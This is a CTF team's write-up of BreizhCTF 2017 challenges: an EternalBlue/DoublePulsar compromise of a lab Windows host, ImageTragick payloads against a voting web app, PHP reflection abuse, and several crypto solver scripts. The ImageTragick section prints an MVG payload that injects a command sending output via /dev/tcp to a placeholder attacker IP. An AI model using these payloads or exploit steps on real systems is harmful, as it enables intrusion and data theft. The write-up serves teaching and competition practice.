New release : CTI Report - Pharmaceutical and drug manufacturing 

                 Download now

BreizhCTF 2017

BreizhCTF 2017

This year again we had the pleasure of joining Rennes for the 2017 edition of the BreizhCTF, as well organized as ever by Brittany Development Innovation, @SaxX And @Kaluche in the premises of’Epitech Rennes.

At the end of the night, we finished in 8th place, but with the satisfaction of having solved almost all the challenges.Congratulations to the winners and thank you to the organizers and sponsors!

Spy [realistic]

250 points | 49% resolution

One of the tests, identified as "realistic," gave us the sole instruction to verify whether it was possible to compromise the target server with the IP address "10.119.227.111":

An initial phase of analysis of the ports accessible on this server was therefore carried out using the tool nmap, in order to identify its exposure surface:

Using NSE scripts reveals the version of Windows being used:

By cross-referencing this information with the title of the challenge (SPY), we know that we will have to use the Windows exploits revealed in recent weeks by the Shadow Brokers.

Note : It is important to remember that, given the limited feedback regarding the composition of these tools, we do not recommend their use outside of a compartmentalized test environment.

After installing the various necessary dependencies, we launch the operating framework. FuzzBunch, and more specifically the module EternalBlue, allowing exploitation of the MS17-010 vulnerability in the SMB protocol:

Once the module is launched by specifying the various desired parameters, it installs a "backdoor" on the machine (we are on the right track :p).

We then generate a DLL beforehand using the Framework Empire :

The utility "« DoublePulsar »This then allows you to load this arbitrary DLL onto the vulnerable machine, specifying the full path to it:

Once all the information has been verified, we can launch the attack:

An Empire agent is then retrieved with "NT SYSTEM" (\0/) privileges:

To simplify the rest of the exploitation scenario, we simply create a local user belonging to the local administrators group of the compromised machine:

Then, simply connect to the previously identified RDP service using the created Administrator account:

And to browse the files of the user "NSA" to finally access the flag of the event:

For your information, the majority of vulnerabilities revealed by Shadow Brokers and impacting Windows operating systems have been fixed by Microsoft (see. official communication).

As always, it is therefore advisable to apply the latest available security patches in order to protect against this type of exploit scenario.

Finally, the Metasploit module auxiliary/scanner/smb/smb_ms17_010 allows verification of the presence of the MS17-010 vulnerability, by checking the return codes when attempting to access the IPC$ share and sending a transaction on file ID 0 (FID 0).

The Voting Machine [web]

175 points | 31% resolution

This is a simple web application with only one form that allows users to vote for a president. In addition to the standard text fields (name, surname, etc.), there is an image upload option.

The application checks that the uploaded file has a valid .image extension, and uploading an invalid image generates a 500 error, suggesting that the image is being processed in a certain way. Without any clue as to where the file might be stored or located, we abandon the possibility of a webshell upload and recall the infamous vulnerability. ImageTragick (CVE-2016–3714).

The official website provides some interesting payload leads; we confirm the vulnerability by triggering an SSRF attack on our machine using the following foo.mvg file (this unusual extension was accepted by the web application, which is rare enough to confirm our suspicion):

push graphic-context viewbox 0 0 640 480 fill 'url(http://IP_ATTAQUANT/)' pop graphic-context

We then focused on the more interesting payload: the one that allows the execution of arbitrary commands. It is necessary to load an image with "https://" to trigger command injection. Here, there is no need to obtain a reverse shell interactive, the following file was sufficient to receive the command result on our port 80 they :

push graphic-context viewbox 0 0 640 480 fill 'url(https://IP_ATTAQUANT"||/bin/bash -c "ls > /dev/tcp/IP_ATTAQUANT/80)' pop graphic-context

Logically, we locate a flag.txt file in the current directory and obtain its contents:

Eddy Malou [web]

350 points | 57% resolution

This simple PHP application allows you to log in and access a list of messages posted by other users. You can also post your own message.

All these actions are triggered by POST requests to the site's root directory with a parameter action and a parameter data.

An invalid parameter value action triggers a ReflectionException The error message clearly indicates that the introspection method getMethod is called on the current object with the parameter passed:

We can therefore call the method of our choice; all that remains is to discover the list of these methods. We then think of the magic function. __toString which works perfectly:

We therefore call the method access to become an administrator and have us offered the flag (let's acknowledge in passing the various injection attempts by our competitors):

Shufflunatorz [web]

100 points | 63% resolution

This PHP web application prompts us to log in as an admin and even reveals its password; however, the application provides the correct letters, but in the wrong order. (shuffled), and re-shuffles them with each submission. We also observe the presence of an anti-replay token that changes each time.

We generate the 5040 combinations in Python:

import itertools c = 'ecibopm' for i in itertools.permutations(c, len(c)): print("".join(i))

Then we decide to test all the combinations on the application. To do this we use Burp and configure it to extract and carry over the anti-replay token from one request to another, as when we audit an application containing an anti-CSRF token.

After a little patience (this method does not allow parallel processing), we are rewarded:

Cryptopat [crypto]

250 points | 9% resolution

We managed to intercept a conversation between Alice and Bob on an unsecured channel. Unfortunately, the message containing the sensitive information we want to retrieve was encrypted using RSA asymmetric encryption.

That's why we hire the best cryptanalysts who will be rewarded with points if they manage to recover some or all of the data we are looking for!

To make things easier for you, we've extracted each of these messages and arranged them chronologically (message 1, then message 2, etc.). We've also intercepted two public keys from Alice (first pubkey, then pubkey2). Hopefully, this will be enough for you to help us!

The challenge comes in the form of an archive containing several files: two public keys, four decrypted messages and one encrypted message.

The four messages contain excerpts from an exchange between Bob and Alice:

Three important pieces of information are presented there:

  • Alice's first key is vulnerable to Wiener's attack on RSA; ;
  • The second key uses the same encryption exponent with 15 additional high-order bits; ;
  • The first half of the flag is revealed in the exchanges!

The goal is therefore to use the’Wiener attack on the first public key in order to retrieve the corresponding private key, then brute-force the second private key using the first.

The challenge can be solved using a script that performs the following actions:

  • We perform the Wiener attack in order to recover the private exponent corresponding to the first public key; ;
  • We verify that the retrieved private exponent corresponds to the public key by decrypting a message; ;
  • We iterate through all possible solutions for the extra 15 bits, trying to decrypt a message to find the second private key.

We can then use the private key to decrypt the second half of the flag!

Script:

from sage.all import * from Crypto.PublicKey import RSA import sys def factor_rsa_wiener(N, e): """Wiener's attack: Factorize the RSA modulus N given the public exponents e when d is small. Source: https://crypto.stanford.edu/~dabo/papers/RSA-survey.pdf CTF: BKP CTF 2016 Bob's Hat """ N = Integer(N) e = Integer(e) cf = (e / N).continued_fraction().convergents() for f in cf: k = f.numer() d = f.denom() if k == 0: continue phi_N = ((e * d) - 1) / k b = -(N - phi_N + 1) dis = b ** 2 - 4 * N if dis.sign() == 1: dis_sqrt = sqrt(dis) p = (-b + dis_sqrt) / 2 q = (-b - dis_sqrt) / 2 if p.is_integer() and q.is_integer() and (p * q) % N == 0: p = p % N q = q % N if p > q: return (p, q) else: return (q, p) # some message for testing purpose m=123456 # n and e extracted using: openssl rsa -pubin -inform PEM -text -noout < alice_pubkey.pem n=0x009bcec30ed18fdab08e559be429dc408acca727a0bdb22eddae297e0fb41911f0a924bf4b111cef135a7766325639ed7b1de13a25938b86a5b02e5b382d2 58d42bbc6eb5078ed4a5a84f77e35de1f51d443e87870447770589f9e5d6f9984 6bbbd18a434d2954f4f36250c24bcafac21f63a183ddde7df3d9a8a715f790e96 5e0f25ec0052dc16f3164a4754b686f882a48f4400f6e5d9969344b3a62639dc 00c2693288584248ec75bc7ca78ee80cb715c9bfc1a6bcf3dd876fea62387d17b 3cb299fcd85d36b476d0ce386ca9696ae6f8cfba2e9d1080775bca26f96c7be91 7b6dd55cf94fa2ba806fd7eb8f8f64025de135ce9118a75735740128cfa0c8181 e=0x7f46ebfb41c86b905b769810a7e817f61520de40c36362fc8e943767ca0b 9bd054f29d44589edaa8aaaae505ed86d5aaee2258dc49f6aa894a3480b5af0c3 ee0cce6bd4974ca746ca05e2216b69232d019c1c3a7bb44220b471ecb1874ca4 42574505ba2a64d15a0db11f439ff494915b9d1110af52705739f454a8fd587a8 155cd8eabac3551a4e1d122370e5e3c509eb5a3c195308ed57201b1fe5076337 a4f155fef88c82a1309523ab7325328169b690f120d8c3bdc864a95296806961a 1d49b2f5c0bebca97629d5ffc85f2564045e771d7f1b47c01a2114e1ce845d498da0dadaee1cfee4ce6efb1130cca81931e412e39eec05b396619def75fbe818d print("[~] Using Wiener attack to retrieve the private exponent") p,q = factor_rsa_wiener(n,e) print("[+] Found p: %d") % p print("[+] Found q: %d") % q print("[~] Calculating the private exponent from previous p and q") phi = (p - 1) * (q - 1) d = inverse_mod(e, phi) c = Mod(m, n) ** e if m != Mod(c, n) ** d: print("[!] bad private key, exiting ...") sys.exit() else: print("[+] Found alice's old private exponent!") # n and e extracted using: openssl rsa -pubin -inform PEM -text -noout < alice_pubkeyi_2.pem n2=0x00a941561ee5f527dad47e8f82b5446afd825ac304a504db1cf9979a63c 6a8bdeef56be3facda952676cc8269eae0b76d6132485eee9ae37b968f12a4d6a 3ed11f0d7db68eb89e37340b5d458bcc58169c7bb145dc32040c976cba884386c 98cb44f078897a317fe83ccf2b48dd397b059c465ed5a3c64a530865f7095532e 6ecd8df9794fe24c07806848912f026de150c008acce9afae715f2e12927356a7 e4d1184936f0e03bcc9b7eb557e91f46c9f8eb81125e38d7552e1345c09b639a6 9d6536c29d43ef66c23e9f85a0efef4784909b62d2a44af849a46c877e7118ab2 622bf7c607b5f41a02853c5186196d88618c60a2e280ad387e8f729ed06f887fd e2=0x6cc7ffb92a9f4a6c8276082434f70efd4e4487c20540ebcd92c57a33b02 04670721463f067e5819fb8d387887aeae7a6125055143fe105dfbeeb29598a8f 27f0e1fb87b29e583032a1293511001915f70a6a59460f49daef5d943ac3c7f4 a07f693669b5e13a73b3f23771f72321573fc80bc7c59e6f913ca3ccd83687920 e621c652ea28339b43eed4b3938d8124af3407e64962bea01c3212071ab9b6c2 a44271652c9d822d47aa3f1c45c7a0383c8716d8bb0607ce6662182f235083e8d 365da15d6bfa119dede23756debb48c979ede370b915bca5430ae02b367de80d4246b6fff4c5ec75bde9209b022ea45bd14fba30a72c7b0f1c2e9dd707ea4c5cad print("[~] Bruteforcing the new private exponent") found = False c = Mod(m, n2) ** e2 for i in range((2**15)+1): j = i << 511 d2 = d+j if m == Mod(c, n2) ** d2: print("[+] Private exponent found!") found = True break if found: print("[~] Generating PEM private key") key = RSA.construct((long(n2),long(e2),long(d2))) print(key.exportKey()) else: print("[!] No valid exponent found...")

GoGoGoBabyGo [crypto]

100 points | 63% resolution

This is a cryptography challenge coded in Go. The code was provided; our task was to identify the starting string that led to the encrypted string present in the code.

The rather simple encryption algorithm is as follows:

var init int = 0 var out string = "" var value int for i := 0; i < len(myStr); i++ { value = int(charCodeAt(myStr, i)) init ^= (value << 2) ^ value out += string(init & 0xff) // not good which leads to replace a patcher init >>= 8 }

We chose a brute-force approach: we generated the original string, iterating character by character to obtain a ciphertext that matched the expected one. Here is the code we quickly wrote as a starting point:

from binascii import unhexlify import string final = unhexlify("4a1b506c33694e055f9605555550a4a5a54ad2d7227266226322e4afd2a0f0227de 4224ebb9cb1a5d22250a5221ee49939224e22501e05227d22721111721e50a4a5a50455555088") input = "BREIZHCTF{" for c in string.printable: init = 0 out = "" testfinal = input + c for i in range(0, len(testfinal)): value = int(ord(testfinal[i])) init ^= (value << 2) ^ value out += chr(init & 0xff) init >>= 8 if out == final[:len(testfinal)]: print testfinal

The beginning of the flag, stored in input, was given to us in the Go script. The first execution of the script allows us to discover an additional character, which we add to the end of input before restarting it. We repeat this operation (which could of course have been implemented directly) a few times and finally obtain the flag that perfectly matches what was desired:

input = "BREIZHCTF{TDDE!!!Bon_OK_J_avoue_La_Crypto_Et_SaxX_C_EST_L_OPPOSE!!!TDDE}""

BreizhCTF Party! [crypto]

100 points | 71% resolution

We arrive at a webpage with a flashy colored background, a title, and a snippet of binary code, which redirects us within one second to a second page with a different flashy colored background and another snippet of binary code, and so on for a total of four pages. This flashy, stroboscopic style explains the subtitle “party like it’s 1997”!

We have a hunch that XOR These 4 binary fragments, byte by byte, with this script written quickly:

import binascii import sys n1 = int('0b001000100010111000110111001010010011110000111000001011110000110000 1110000000011000001111001100000000000100011001001110010000100100100101',2) n2 = int('0b010000010100001001000011010001000100010101000110010001110100100001 0010010100101001001011010011000100110101001110010011110101000001010001',2) n3 = int('0b010100010101101001010011010001010100010001010010010001100101010001 0001110101100101001000010101010100101001001001010010110100111101001100',2) n4 = int('0b010100000100110001001111010010110100100101001010010101010100100001 0110010100011101010100010001100101010001000110010100100100010001000101',2) n1 = binascii.unhexlify('%x' % n1) n2 = binascii.unhexlify('%x' % n2) n3 = binascii.unhexlify('%x' % n3) n4 = binascii.unhexlify('%x' % n4) for i in range(0, len(n1)): sys.stdout.write(chr(ord(n1[i]) ^ ord(n2[i]) ^ ord(n3[i]) ^ ord(n4[i])))

And we instantly get the flag: bzhctf{XoRXoRXoR}

Diffie Failman [crypto]

200 points | 49% resolution

The title of this cryptography challenge clearly states its purpose: it focuses on the Diffie-Hellman key exchange protocol. We have access to Python source code implementing a client and a server, as well as a network capture. pcap of an exchange using this program.

The capture clearly shows the exchange of two large integers, followed by what appears to be a ciphertext exchange:

We confirm this observation upon reviewing the code. Here is the excerpt concerning the server-side of this exchange:

shared = 65535 private_key = randint(10 ** 24, 10 ** 32) public_key = shared * private_key try: if is_server: print("Start server") s.bind((server, 31337)) while True: s.listen(5) client, accept = s.accept() pub = client.recv(128) client.send(str(public_key)) intermediate = long(pub) * private_key shared_secret = hashlib.sha256(str(intermediate).encode("utf-8")).digest() print("Key exchange completed") while True: secret_message = client.recv(1024) message = decrypt(secret_message, shared_secret) print("<<< %s" % message) message = raw_input(">>> ") secret_message = encrypt(message, shared_secret) client.send(secret_message)

The server's first message is used to send the client, in plain text, its public_key, but it is the product of shared And private_key. We know. shared=65535 so a simple division gives us the private_key Randomly generated: lost!

The transactions are encrypted with shared_secret which is the SHA256 condensate of intermediate which is worth the product of private_key (which we know how to guess) and pub which is simply the client's public key sent in clear text (which we therefore also know).

In conclusion, an attacker in a Man-in-the-Middle situation who knows the hard-coded shared secret shared=65535 will have all the elements to calculate the encryption key and decrypt the messages.

As proof, we are tackling the encrypted exchange, with this short script largely copied/pasted from the one that was provided, which we apply to the exchanged messages until we reach the message that contains the flag:

import hashlib from Crypto.Cipher import AES from binascii import unhexlify unpad = lambda s: s[0:-ord(s[-1])] def decrypt(message, key): IV = message[:AES.block_size] aes = AES.new(key, AES.MODE_CBC, IV) decr = aes.decrypt(message[AES.block_size:]) return unpad(decr) shared = 65535 private_key = 1449121672058438729139215000099850030 / shared pub = 4658287721478817501151725639698791040L intermediate = long(pub) * private_key shared_secret = hashlib.sha256(str(intermediate).encode("utf-8")).digest() print decrypt(unhexlify( "64ff23d65f6926f1c55253e3b892a25872d44b0d48f9f0b01580958bfc1e668b5 c9235e8f3ed2c0c76258152d97402604a10d507cfcbd701529dfa972afe7b4a"), shared_secret)

Plain text message with the flag: “Sure: BZHCTF{This_key_exchange_Sux}”

In conclusion, this key exchange appears to implement a mechanism similar to Diffie-Hellman, except that here, the use of a simple product instead of modular exponentiation (which is easier to invert) no longer protects the created secret. It is therefore important to remember that a homebrew implementation of a cryptographic algorithm is strongly discouraged, as it is very easy to inadvertently introduce critical vulnerabilities.

Cyber Bullshit Cyber [crypto]

250 points | 57% resolution

For this cryptography challenge, we have a Python script that implements the encryption and decryption functions of a custom-built algorithm. “custom CBC cipher based on SHA256 MAC”. The example provided encrypts and then decrypts a string of characters with a secret key.

Finally, the script begins with a comment that gives the string that we are responsible for deciphering.

We analyze in detail how the encryption algorithm works. The operation of this algorithm is as follows:

  1. a random initialization vector (IV) is generated
  2. A keystream (ks) is generated by applying an HMAC-SHA256 with key=IV and msg=secret key. This appears to be an error in the order of the arguments; however, this flaw could not be exploited.
  3. The message is broken down into blocks because it uses block ciphers (CBC).
  4. The first block is encrypted by shuffling it with an XOR operation with the keystream (ks) previously prepared
  5. Then each block is encrypted using XOR in the same way, by combining it with the previous block, and so on.
  6. the encrypted message is returned, prefixed with the initialization vector (IV)

The ciphertext is 96 bytes in size, knowing that the blocks are 32 bytes, this gives one IV block followed by two data blocks.

In the end, we have something that seems complicated but is actually a simple XOR encryption with a well-known weakness: this operation cancels itself out if duplicated with the same arguments. Indeed, we have:

encrypted block2 = plaintext block2 XOR encrypted block1

=>

XOR encrypted block 2 = encrypted block 1 = plaintext block 2 = encrypted block 1 = encrypted block 1 = plaintext block 2

All that remains is to implement this in a few lines:

import sys # ciphered string s = "\x01@N\x02t\x1f60\xaf?\x1c\xf1\xadS\xe2\x9c\n\x97[\xaa\xf5\xd0\\\xd6\x 86\xd7\x9e\xcaUr\\M\xc3Q\xae\x01e\x1e\xcbz\xbd\x8f\x89e^\xde'\xaa\xbf\xe 4\x19\xe9\xef\x12r\xdb\xb0X\xff\\>\xa1\xad\x98\xa1+\xc6b\x11x\xb0#\ xf2\xc3\xc6&\x0c\x87w\xfe\xf0\xd6)\xd8\xd8ox\xd1\xbaR\xf5V4\xab\xa7\x92" iv = s[0:32] s1 = s[32:32 + 32] s2 = s[32 + 32:32 + 32 + 32] for i in range(0, 32): sys.stdout.write(chr(ord(s2[i]) ^ ord(s1[i])))

Here is the flag: bzhctf{YOLOCRYPTO2017}

Recon [trivia]

100 points | 57% resolution

The description of the event announces that the organizers are present on the social networks of the future: the news immediately makes us think of Mastodon but it remains to be seen which instance of this decentralized network they have registered on.

We get on https://instances.mastodon.xyz/list From the list of instances, after some formatting and extraction, we have a list of URLs. All that remains is to iterate over each one, searching for an HTTP 200 code for the @breizhctf account. The following command, although imperfect (in the heat of the moment…), worked very well:

for host in $(cat urls.txt); do echo $host; curl -s -o /dev/null -w "%{http_code}" "$host/@breizhctf" 2>&1; done

After a few seconds, the instance is identified:

We have identified the account, but apparently the flag is not yet within our reach:

Some characters display strangely because they are replaced by similar Unicode characters. After a few attempts to manually guess the flag, we search for articles or applications related to Unicode steganography and finally stumble upon http://holloway.co.nz/steg/ which gives us, from the posted message, a link to a file containing a list of URLs. The last link in the list (thanks for the detour) finally gives us the flag.

— Walid Arnoult, Clément Notin, Arthur Villeneuve